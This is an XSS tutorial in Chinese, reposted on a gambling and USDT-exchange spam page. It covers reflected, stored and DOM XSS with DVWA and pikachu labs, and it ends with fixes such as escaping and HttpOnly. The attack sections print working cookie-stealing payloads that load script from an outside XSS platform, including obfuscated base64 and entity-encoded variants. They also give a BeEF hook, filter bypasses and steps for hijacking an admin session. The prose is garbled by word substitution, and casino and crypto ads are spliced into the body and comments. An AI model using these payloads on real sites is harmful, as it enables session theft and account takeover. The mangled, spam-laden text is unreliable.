欢迎进入Allbet官网。Allbet官网开放Allbet登录网址、Allbet开户、Allbet代理开户、Allbet电脑客户端、Allbet手机版下载等业务。

首页科技正文

泰达币交易所官网(www.payusdt.vip):浅谈XSS

admin2021-10-11201安全技术WEB安全

USDT交易平台

U交所(www.payusdt.vip),全球頂尖的USDT場外擔保交易平臺。

XSS破绽

绕过推荐

XSS绕过可以看看该文章:XSS过滤绕过速查表

0.先容

跨站攻击,即Cross Site Script Execution(通常简写为XSS),是前端的破绽,发生在浏览器一端的破绽。它是指攻击者在网页中嵌入客户端剧本,主要行使js编写的恶意代码来执行一些想要的功效,也就是说它醒目嘛是受到js的控制,那么js能执行出什么剧本代码就取决于它醒目嘛。当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

0.1.醒目嘛

通例用到的是偷取cookie、js做钓鱼攻击、流量指向等。主要是偷取治理员的会话和cookie信息,就是我们常说的治理员凭证,就意味着获得后台权限,可以直接行使。还能配合其余破绽,好比可以和网页木马连系,扔到那里去跳转到网马地址,网马地址被执行后续就控制一些权限

1.原理剖析

输出问题导致的js代码被识别执行

<?php

    $xss=$_GET['x'];
    echo $xss;
//127.0.0.1/test/xss.php?x=<script>alert(1)</script>
//js代码;<script>alert(1)</script> 挪用执行
//破绽发生原理:输出问题

?>

2.发现

由于破绽发生在前端,那么发现的话,主要是看浏览器的执行

人为手工测试,测试显示地方是否能够自界说。一样平常泛起在数据交互的地方(留言板,数据插入地方),好比网上的营销页面,购置商品需要自己选择,填写收货地址,电话等,这里可以把跨站语句插入进去,若是没有过滤,极有可能导致跨站破绽

工具扫描测试(awvs,appscan)

3.分类

3.1.反射型XSS(非连续型XSS)

先容

是一种非连续型攻击。破绽自己存在,然则需要攻击者组织出来,然后让对方去触发。它不会对正常的接见造成跨站攻击。这种攻击是一次型攻击,它不会写入到数据库里。当用户接见一个带有XSS代码的URL请求时,服务器端吸收数据后处置,然后把带有XSS的数据发送到浏览器,浏览器剖析这段带有XSS代码的数据后,最终造成XSS破绽。这个历程就像一次反射。

泛起地方

交互的数据一样平常不会被存在数据库内里,一次性,所见即所得,一样平常泛起在查询类页面

3.1.1.注重事项

我们可通过发送组织的链接,来举行行使:

  • 需要一个网站,网站中有个能够网络cookie 的文件

  • 需要有网络受害者cookie后将网络的cookie发送给网站中文件的js文件

  • 组织链接,当用户点击该链接时,相当于执行了获取该用户的cookie并把cookie发送给网络cookie文件的操作。

例1:若是是NASA网站的跨站,人人完全可以在一些天文兴趣者群集的群里发类似这样的新闻,如:“美国航空航天局宣布最新UFO照片”然后加上我们的链接。由于是NASA的链接(现在连小学生都知道NASA是干什么的),我想应该会有一部门人信托而去点击从而到达了我们的目的,这个反射型的XSS被触发。

例2:

(1)用户z是网站www.xxx.org的粉丝,此时正在论坛看信息。

(2)攻击者发现www.xxx.org/xss.php存在反射型破绽,然后全心组织JavaScript代码,此段代码可以偷取用户cookie发送到指定的站点www.xxser.com。

(3)攻击者将带有反射型XSS破绽的URL通过站内信发送给用户z,站内信为一些诱惑信息,目的是为了让用户z单击链接。

(4)假设用户z单击了带有XSS破绽的URL,那么将会把自己的cookie发送到网站www.xxser.com。

(5)攻击者将吸收到用户z的会话cookie,可以直接行使cookie以z的身份登录www.xxx.org,从而获取用户z的敏感信息 。

3.1.2.历程

参考:通过DVWA学习XSS反射型XSS从简入难

3.1.2.1.判断

好比如下网站:

我们在账户输入处输入whoami,查看源代码,按下ctrl+f来搜索:whoami,看泛起在哪个位置,来组织特定的payload

我们可以组织"> <script>alert('XSS')</script>把前面的<input闭合掉,让它执行后面的代码,组织好代码后把URL酿成短链接发送给治理员,治理员点击打开获取他的cookie登录

挖掘反射型xss的方式就是这些,手工也是这个方式,只是需要自己去找存在xss破绽的网站,手工就一句话:见框就插,改数据包中的参数,改URL中的参数,js源代码剖析。

改数据包,js源代码剖析对照深就不再细说了,见框就插就对照好明白了,先在输入框输入唯一的字符串,查看源代码字符串的位置,在输入 <>""/&()的时刻看过滤了什么,凭证过滤的字符来组织特定的xss代码

3.1.2.1.使用工具

注重:这里网上有许多搭建的XSS Platform,若是一个不能用可以换其余用,纷歧定要用我给的这个,甚至可以自己搭建一个XSS Platform。不外下面的历程是我基于这个网站使用的,都大同小异

自己搭建XSS Platform可以参考这篇文章:https://blog.csdn.net/weixin_50464560/article/details/115355509 (其中BlueLotus_XSSReceiver(蓝莲花)的搭建和源码也在内里,若何使用在其中的READEME.md里,另有这篇会加倍详细:https://blog.csdn.net/weixin_50464560/article/details/115360092)

1.

先使用XSS Platform:https://xss.pt/,点击“确立项目”。

打勾“默认模块”,该模块是获取cookie值的。

  • 无keepsession
  • keepsession

无keepsessionkeepsession的区别:

keepsession的意思是保持毗邻,也就是当获取到目的网站的cookie后,保持这个cookie,由于网站cookie可能是有时效的,好比时效为10分钟,那么当吸收到这cookie后,没有实时查看,cookie过时失效了,那么这个cookie就没有用处了。当选择keepsession后,没有实时查看,cookie过时失效了,那么这个cookie就没有用处了。当选择keepsession后,XSS Platform将会一直在后台刷新cookie,也就是保持这个cookie的有用性,反之,无keepsession就是不保持毗邻。

那么keepsession 到底是怎么样实现的呢?看了下代码发现很简朴,平台会自动的隔一段时间,遍历整个 keepsession 内外面的数据。随后循环对目的服务器举行一次带cookie的请求。这样就实现了维持会话的功效了。

下面的其他模块,各自代表着xss的其他种攻击,详细可在“设置代码”这步选完进去后,在左边的“公共模块”里点击,查看模块信息

以下为部门截图,只要将其中一种代码插入嫌疑泛起XSS的地方,发给别人,若是有人点击该地址,我们就可在"项目内容"中查看其cookie值

其中的代码看情形来用。下面写出我对照常用,直接插入组织,接见后cookie可返回到“项目内容”的代码。

图片插件一  https://xss.pt/GFLXp.jpg    
<Img sRC=https://xss.pt/GFLXp.jpg>


1.<sCRiPt sRC=//xss.pt/GFLX></sCrIpT>

2.尺度代码
</tExtArEa>'"><sCRiPt sRC=https://xss.pt/GFLX></sCrIpT>

IMG 标签
1.
</tEXtArEa>'"><img src=, id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fxss.pt%2FGFLX%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

2.<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/GFLX';>

3.通杀火狐谷歌360
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzcy5wdC9wNzBlPycrTWF0aC5yYW5kb20oKQ=='))>

标签iframe等
1.实体10进制编码
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&60;&115;&67;&82;&105;&80;&116;&32;&115;&82;&67;&61;&34;&104;&116;&116;&112;&115;&58;&47;&47;&120;&115;&115;&46;&112;&116;&47;&71;&70;&76;&88;&34;&62;&60;&47;&115;&67;&114;&73;&112;&84;&62;>

2.实体16进制编码
<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&x3C;&x73;&x43;&x52;&x69;&x50;&x74;&x20;&x73;&x52;&x43;&x3D;&x22;&x68;&x74;&x74;&x70;&x73;&x3A;&x2F;&x2F;&x78;&x73;&x73;&x2E;&x70;&x74;&x2F;&x47;&x46;&x4C;&x58;&x22;&x3E;&x3C;&x2F;&x73;&x43;&x72;&x49;&x70;&x54;&x3E;>

这里我用到dvwa靶场的medium级别。为了更好的验证,我使用了username为1337的用户举行登录。

这里我先组织js代码测试出这里存在反射型xss破绽

然后组织链接

http://192.168.1.3/dvwa/vulnerabilities/xss_r/?name=%3Ciframe WIDTH%3D0 HEIGHT%3D0 srcdoc%3D%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%26%23x3C%3B%26%23x73%3B%26%23x43%3B%26%23x52%3B%26%23x69%3B%26%23x50%3B%26%23x74%3B%26%23x20%3B%26%23x73%3B%26%23x52%3B%26%23x43%3B%26%23x3D%3B%26%23x22%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2E%3B%26%23x70%3B%26%23x74%3B%26%23x2F%3B%26%23x47%3B%26%23x46%3B%26%23x4C%3B%26%23x58%3B%26%23x22%3B%26%23x3E%3B%26%23x3C%3B%26%23x2F%3B%26%23x73%3B%26%23x43%3B%26%23x72%3B%26%23x49%3B%26%23x70%3B%26%23x54%3B%26%23x3E%3B%3E,

然后再用admin账户登录,级别为low。复制组织好的网址并接见

然后就偷取到该cookie了,看到cookie值security=low,正好是我们设置的low级别,得知偷取admin账户的cookie乐成了

最后按F12,点击Application这一栏,将其中的cookie修改为我偷取到的admin的cookie,再刷新界面,可以看到我们酿成了admin的账户,级别也变为low了

3.1.2.2.注重

刚最先我不是用火狐的低版本浏览器来验证,而是用Microsoft Edge 88.0.705.74的高版本浏览器来验证,一直失败,最后用火狐就乐成了。我以为这里应该是涉及到了浏览器的平安战略问题,以是只管使用低版本的浏览器来做XSS破绽,高版本会过滤js内陆的一些剧本的加载使攻击失效。

3.1.3.稀奇操作

3.1.3.1.XSS之href输出

在a标签的href属性内里,可以使用javascript协议来执行js,可以实验使用伪协议绕过。

javascript:alert(/xss/)

点击即可触发弹窗

这里是自己写的一个a标签的href属性:<a href=javascript:alert(/xss/)>xss</a>

若是你在输入框中输入的代码直接泛起在a标签的href属性内里,那就直接写javascript:alert(/xss/)

3.1.3.2.XSS之盲打

XSS盲打是一种攻击场景。我们输出的payload不会在前端举行输出,当治理员查看时就会遭到XSS攻击。

输入通例的payload:<script>alert(1)</script>,点击提交后发现这里提醒一段文字,应该是直接传到后台了,找到后台,登录进去看看

后台地址是/xs *** lind/admin_login.php。pikachu有三个初始用户,我这里的是用户名admin,密码123456,登录即可触发XSS

另有一点,若是碰上了XSS中目的不让信息显示出来,若是能发送请求,那么就可以实验咱这个设施——用DNSlog来获取回显。简朴来说,在xss上的行使是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上,就可以在用户接见的时刻,将他的信息带回来。详细可以看我的另外一篇条记,是关于DNSlog来使原本不会显示的信息回显的,好比SQL盲注就可以行使此方式

3.1.3.3.XSS之过滤

详细可看这个:XSS过滤绕过速查表(按ctrl键点我跳转)

输入'<script>alert(1)</script> ,看输出效果和前端源码,被过滤得只剩下'>了,输入与输出效果纷歧致。

这里看一波源码,发现这里会使用正则对<script举行替换为空,也就是过滤掉,然则只是对小写举行了替换。

那我们就实验用大写绕过

payload:<Script>alert(1)</sCript>

乐成

由于这里只是过滤了script,以是实在另有许多payload可以实验,好比:<img src=a onclick="alert(1)">点击图片触发弹窗、<img src=a onmouseover="alert(1)">鼠标移动到图片的位置触发弹窗、<img src=a onerror="alert(1)">图像加载历程中发生错误时触发弹窗。另有下面这种:

<iframe/src=data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=></iframe>
//iframe元素会确立包罗另外一个文档的内联框架(即行内框架)。我将<script>alert(/xss/)</script>用base64编码然后放在iframe元素里,这里也可以绕过

3.2.存储型XSS(连续型XSS)

先容

是一种连续型的攻击。将跨站代码植入到网站的数据库中。一旦攻击者第一次乐成攻击之后,那么在后续的其他接见者均会受到跨站攻击。这种攻击可能是写到网站的留言板,那么当对方接见留言板就会被触发。它与反射型、DOM型XSS相比,具有更高的隐藏性,危害性也更大。它们之间最大区别在于反射型与DOM型XSS执行都必须依赖用户手动触发,而存储型XSS却不需要。

泛起地方

交互的数据会被存在数据库内里,永远性存储,一样平常泛起在留言板、注册等页面

3.2.1.历程

3.2.1.1.判断

存储型xss和反射型差其余地方在于他会把输入的数据保留在服务端,反射型输入的数据游走在客户端

存储型xss主要存在于留言板谈论区,由于最近没有挖到存储型xss,以是这里就用dvwa的留言板用来演示:

点击留言(这里最好不要使用`<script>alert("xss")</script>`来测试是否存在XSS破绽,容易被治理员发现,以是你可以使用``来测试,若是乐成了,不会被治理员发现) OK,我先在留言里输入<a>s</a>提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了

发现没有过滤 (若是<a>s</a>中的<a></a>是彩色的说明没有过滤,若是是灰色就说明过滤了)

这里换成impossible级别就是灰色的,说明被过滤了

这里留言板中只留下s,而且s是这样显示的,也说明这里没有过滤

这里换成impossible级别就留下<a>s</a>,说明被过滤了

3.1.2.2.使用工具

和反射型XSS的行使方式大同小异

反射型XSS(按ctrl键点我跳转)

3.1.2.3.优势

我在留言板中写下如下留言:

只要治理员点击谁人留言板中已经乐成写入获取cookie代码的网页,我们就可以获取到治理员的cookie和后台地址

好比这里我一在dvwa的留言板中刷新,XSS Platform中就会有我的cookie和这个dvwa的地址

3.3.DOM型XSS

先容

DOM-XSS攻击原理与防御

DOM型xss深度剖析与行使

​ DOM的全称为Document Object Model,即文档工具模子,DOM通常用于代表在HTML、XHTML和XML中的工具。使用DOM可以允许程序和剧本动态地接见和更新文档的内容、结构和样式。

​ 通过js可以重构整个HTML页面,而要重构页面或者页面中的某个工具,js就需要知道HTML文档中所有元素的“位置”。而DOM为文档提供了却构化示意,并界说了若何通过脚原本接见文档结构。凭证DOM划定,HTML文档中的每个因素都是一个节点。

​ DOM的划定如下:

  • 整个文档是一个文档节点;

  • 每个HTML标签是一个元素节点;

  • 包罗在HTML元素中的文本是文本节点;

  • 每一个HTML属性是一个属性节点;

  • 节点与节点之间都有品级关系。

    HTML的标签都是一个个的节点,而这些节点组成了DOM的整体结构:节点树。如图所示:

简朴来说,DOM为一个一个接见html的尺度编程接口。

可以发现DOM自己就代表文档的意思,而基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处置数据阶段,是基于javascript的。而上面两种XSS都需要服务端的反馈来组织xss。

DOM型XSS示例:

<script>
    var temp = document.URL;  //获取URL
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par));  //输入获取内容
</script>

上述代码的意思是获取URL中content参数的值,而且输出,若是输入

网址?content=<script>alert(/xss/)</script>,就会发生XSS破绽

这里再举一例:

这个文件名为123.html

<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>

在这里我先注释下上面的意思

Document.write是把内里的内容写到页面里。

document.URL是获取URL地址。

substring 从某处到某处,把之间的内容获取。

,

USDT场外交易平台

U交所(www.payusdt.vip)是使用TRC-20协议的Usdt官方交易所,开放USDT帐号注册、usdt小额交易、usdt线下现金交易、usdt实名不实名交易、usdt场外担保交易的平台。免费提供场外usdt承兑、低价usdt渠道、Usdt提币免手续费、Usdt交易免手续费。U交所开放usdt otc API接口、支付回调等接口。

,

document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(由于a=是两个字符,我们需要把他略去),同时他也是substring的最先值

document.URL.length是获取当前URL的长度,同时也是substring的竣事值。

合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。

怎么会泛起这个问题呢?

由于当前url并没有a=的字符,而indexOf的特征是,当获取的值里,若是没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf("a=")则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,以是才会泛起ttp://127.0.0.1/123.html

大致的原理都市了,我们继续下面的

我们可以在123.html后面加上?a=123或者,a=123,只要不影响前面的路径,而且保证a=泛起在URL就可以了。

我们清晰的看到我们输入的字符被显示出来了。

那我们输入<script>alert(1)</script>会怎么样呢?

谜底一定是弹窗(这个用的是360平安浏览器)

然则这下面没却没有弹窗,这是为什么呢?这是由于浏览器差异,maxthon、firefox、chrome则不行,他们会在你提交数据之前,对url举行编码。这不是说DOM型XSS不行了,这只是个很简朴的例子,以是不用在意。

我再次强调下,DOM型XSS 是基于javascript基础上,而且不与服务端举行交互,他的code对你是可见的,而基于服务端的反射型、存储型则是不能见的。

3.3.1.行使原理

客户端JS可以接见浏览器的DOM文本工具模子是行使的条件,当确认客户端代码中有DOM型XSS破绽时,而且能诱使(钓鱼)一名用户接见自己组织的URL,就说明可以在受害者的客户端注入恶意剧本。行使步骤和反射型很类似,然则唯一的区别就是,组织的URL参数不用发送到服务器端,可以到达绕过WAF、逃避服务端的检测效果。

3.3.2.历程

输入测试代码'"<>,显示的内容和我们所输入的有所差异

那就来看看源码吧

HTML的DOM中,getElementById()方式可返回对拥有指定 ID 的第一个工具的引用。语法为:document.getElementById(id)。在这里就是获取标签id为text的值转达给strstr通过字符串拼接到a标签中。以是我们要闭合前面的标签

输入payload:'><img src=a onmouseover="alert(1)">

乐成闭合,鼠标移动到图片的位置触发弹窗

4.注重事项

1.能不能执行js代码主要看浏览器的平安战略怎么样,要思量到各个浏览器的版本的平安战略,浏览器版本对照高的时刻,有些js代码会被禁用。像IE高版本会过滤js内陆的一些剧本的加载,以是存在这个攻击也会攻击失效

2.需要受害者去配合。一样平常需要特定的人去接见去触发才行。是被动攻击

5.XSS工具

5.1.xss平台

上面已经先容过,这里就不赘述了

反射型XSS(按ctrl键点我跳转)

5.2.BeEF

这个工具在kali上有集成。

该使用工具在freebuf上有一个系列文章,写的异常好,这里分享一下:BeEF

我这里就简朴先容下若何使用吧。

先打开kali,这里打开beef的方式有两种,第一种是以下这种:

在这里搜索beef,点击其中的beef xss framework或者beef start任选一个

第二种是直接下令行中敲beef-xss

然后都是在下令行上,守候上面的秒数从5到1后,会跳出一个页面让我们登录

这里若是不知道用户名和密码的话,可以在下令行敲这个下令:vim /etc/beef-xss/config.yaml,在内里可以举行查看。若是想修改的话也可以自行修改,修改了密码则要重新启动BeEF举行登录(若是登录不了,则kali重启再重新启动程序)

登录乐成,内里是长这个样子

这时刻啥都干不了,是由于你有一步很主要的操作没做。这里需要把图中红框中的payload复制粘贴到你的目的xss的位置,然后将其中的<IP>改成你这台kali的IP地址,最终payload为:<script src="http://X.X.X.X:3000/hook.js"></script>

这里我用dvwa来模拟场景。将payload插入其中,点击submit

这时刻再回到BeEF中查看,会发现online browers中多了点器械,这时刻就可以最先操作了

我这里先容下这个主页面:

其中最左边的是Hooked Browers

  • online browers:在线浏览器
  • offline browers:离线浏览器

Current Browser中的这几栏划分有:

Detials

  • 浏览器、插件版本信息,操作系统信息

Logs

  • 浏览器动作:焦点转变,鼠标单击,信息输入

commands

  • 绿色模块:示意模块适用当前用户,而且执行效果对用户不能见
  • 红色模块:示意模块不适用当前用户,有些红色模块也可以执行
  • 橙色模块:模块可用,但效果对用户可见
  • 灰色模块:模块为在目的浏览器上测试过

先容完之后,再回到适才的场景。这里在BeEF中的Current Browser中点击其中的Commnads,其中就可以选择许多模块来对目的举行攻击

这里举波例子:

选择 Brower下面的Hooked Domain中的Create Alert Dialog(缔造一个弹窗 ),点击右下角的Execute运行。

然后看看dvwa的状态,乐成弹窗

这里再举个获取cookie的例子:

选择 Brower下面的Hooked Domain中的Get Cookie,点击右下角的Execute运行。

然后就会返回目的的cookie

这里我模拟治理员,我的cookie就被窃取走了。可是这里来到浏览器按F12打开开发者工具比对完发现少了两个,这里来看下

原来是由于这里的另外两个cookie带有HttpOnly,以是获取不到。这点我在最后的修复中会有提及。

6.挖掘XSS

之前说过了修改输入框和URL参数来实现XSS。我在这里深入一点说明下。

修改URL参数的时刻,你看到的只是用GET来传输数据的,另有隐形的数据,他们是用POST来传输数据,只有在数据包里才可以看到。

空话不多说,下面进入正题:

6.1.方式

6.1.1.手工检测XSS

使用手工检测Web应用程序是否存在XSS破绽时,最主要的是思量那里有输入、输入的数据在什么地方输出。

使用手工检测XSS时,一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。好比,测试某输入框是否存在XSS破绽时,不要直接输入XSS跨站语句测试,应该一步一步地举行,这样更有利于测试。

6.1.1.1.可得知输出位置

输入一些敏感字符,例如<>"'()等,在提交请求后查看HTML源代码,看这些输入的字符是否被转义。

在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不太容易了,这时就可以输入AAAA<>'''&字符串,然后在查找源代码的时刻直接查找AAAA这样或许就会对照利便了。

6.1.1.2.无法得知输出位置

异常多的Web应用程序源代码是纰谬外公然的,这时在测试XSS时就有可能无法得知输入数据到底在那边显示,好比,测试某留言板是否存在XSS,那么在留言之后,可能需要经由治理员的审核才气显示,这时无法得知输入的数据在后台治理页面处于何种状态,例如:

​ 在<div>标签中:<div>XSS Test</div>

​ 在<input>标签中:<input type="text" name="content" value="XSS Test"/>

​ 对于这种情形,通常会接纳输入"/>XSS Test来测试。

6.1.2.全自动检测XSS

AWVS、APPSCAN等软件都可以有用地检测XSS破绽,然则这些大型破绽扫描工具不仅会检测XSS破绽外,还会检测像SQL注入破绽等其他破绽。虽然这些破绽扫描工具可以设置只检测XSS破绽,然则却好比专门的XSS检测工具效率高。

专门的XSS扫描工具有许多,像XSSER、XSSF等都很好用。也有大牛自己制作的扫描XSS破绽的工具等等。

检测XSS一定要工具和手工并进,这样才气更好地检测XSS。好比在扫描XSS时,许多破绽扫描器一样平常都无法检测非通例的XSS破绽,例如在提交留言时可能需要短信验证、验证码填写等,这些工具是无法做到的。

6.1.3.骚操作

我们都知道当你浏览网站的时刻,对方的服务器会纪录下你的IP地址。若是我们伪造IP为XSS代码呢?这里说的修改IP为XSS不是说修改PC端的,而是在浏览器也就是网页上的客户端举行修改。

6.1.3.1.使用工具

这里需要使用firefox浏览器和两个附件(用一个就行)

附件一:X-Forwarded-For Header

由于PHP获取IP有3个函数。而X-Forwarded-For Header就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR有个缺陷可以使客户端伪造随便IP,固然包罗字符串,然则对其他两个函数就不行了。

附件二:Modify Headers

Modify Headers可以伪造数据包内容,固然也可以伪造HTTP_CLIENT_IP来更改IP。

那另有一个REMOTE_ADDR获取IP函数,这个怎么修改呢?谜底是无法修改。

REMOTE_ADDR是由 nginx 转达给 php 的参数,以是就是当前 nginx 直接通讯的客户端的 IP ,而我们无法加入。以是一旦对方使用了REMOTE_ADDR函数来获取IP,那就没设施了。不外没关系,一共3个函数,2个函数可以伪造,我们照样有很大的乐成率的。好了,最先伪造。

这里Modify Headers的用法就是点击左上角Select action,选择Add,就可以加了。X-Forwarded-For得用Modify,这样才气填Header value,最后还要记得点击左上角的Start。

6.1.3.2.效果

伪造好后,就打开www.ip138.com

乐成弹窗了。由于我那时在X-Forwarded-For Header里设置的是<script>alert("xss")</script>;而在Modify Headers内里没有设置X-Forwarded-For函数,只设置了Client-IP函数,值为<script>alert("xss2")</script>。也就是说www.ip138.com那时使用的是X_FORWARDED_FOR函数来获取IP的。

现在在去实验已经不行了,估量已经修改了吧。

6.1.3.1.使用条件

1.服务器要有获取你的ip的需求,否则不会触发。

2.纵然有获取你的ip的需求,也要使用那几个指定函数来获取。

3.没有过滤。像DZ等著名CMS不存在,他们都过滤了。

7.修复

XSS破绽最终形成的缘故原由是对输入与输出没有严酷的过滤,在页面执行JavaScript等客户端剧本,这就意味着只要将敏感字符过滤,即可修补XSS破绽。然则这个历程是十分庞大的,许多情形下无法识别哪些是正常的字符,哪些是非正常的字符。

7.1.输入与输出

在HTML中,<>"'&都有对照特殊的意义,由于HTML标签、属性就是由这几个符号组成的。若是直接输出这几个特殊字符,极有可能损坏整个HTML文档的结构。以是,一样平常情形下,XSS将这些特殊字符转义。

在PHP中提供了htmlentities()htmlspecialchars()函数可以把一些预界说的字符转换为HTML实体。

预界说的字符有这些:

1.&(和号)成为&amp

2."(双引号)成为&quot;

3.'(单引号)成为&,039;

4.<(小于)成为&lt

5.>(大于)成为&gt

当字符传经由这类函数处置后,敏感字符将会被一 一转义。

7.2.HttpOnly

严酷地说,HttpOnly对防御XSS破绽不起作用,它的主要目的是为领会决XSS破绽后续的cookie挟制攻击。

HttpOnly是微软公司的Internet Explorer 6 SP1引入的一项新特征。这个特征为cookie提供了一个新的属性,用以阻止客户端剧本接见cookie。至今已经成为了一个尺度,险些所有的浏览器都市支持HttpOnly

若何使用JavaScript获取cookie前面也有先容和演示,我信托人人都市了,这里就不赘述了。一个服务器可能会向服务器端发送多条cookie,然则带有HttpOnly的cookie,JavaScript将不能获取。

这里举个例子:

好比我接见某网页,然后查看cookie,可以看到ASP.NET_SessionId字段后面有了HttpOnly

这样就代表JavaScript将不能获取被HttpOnly标注的cookie值。清空浏览器地址栏,在其中输入javascript:alert(document.cookie)语句测试的话,在弹出的对话框中只有其它字段,就不会看到ASP.NET_SessionId字段,这就是HttpOnly的作用。

在身份标识字段使用HttpOnly可以有用地阻挡XSS会话挟制攻击,但却不能完全阻挡XSS攻击。由于XSS攻击手段许多:模拟用户“正常”操作、偷取用户信息、钓鱼等,仅靠HttpOnly是不够的,防御的要害照样要靠过滤输入与输出,要举行代码修复(自界说过滤,自带函数)。

8.总结

对于XSS破绽,它的攻击手段简直许多,层出不穷的,然则实在都可以彻底解决,最要害的是要能够真正的掌控"输入与输出"。

网友评论

5条评论
  • 2021-08-03 00:00:19

    让人叹息的是,就在米雪这段话曝光前,比米雪年长3岁的TVB艺人夏玉麟病情恶化,患癌3年后没钱治病,又不慎在家中摔晕近乎失明。啊,我又又又来啦

  • 2021-08-06 00:01:57

    IPFS官网(www.FLaCoin.vip)是Filecoin致力服务于使用Filecoin存储和检索数据的官方权威平台。IPFS官网实时更新FlaCoin(FIL)行情、当前FlaCoin(FIL)矿池、FlaCoin(FIL)收益数据、各类FlaCoin(FIL)矿机出售信息。并开放FlaCoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。感觉受益很多

最新评论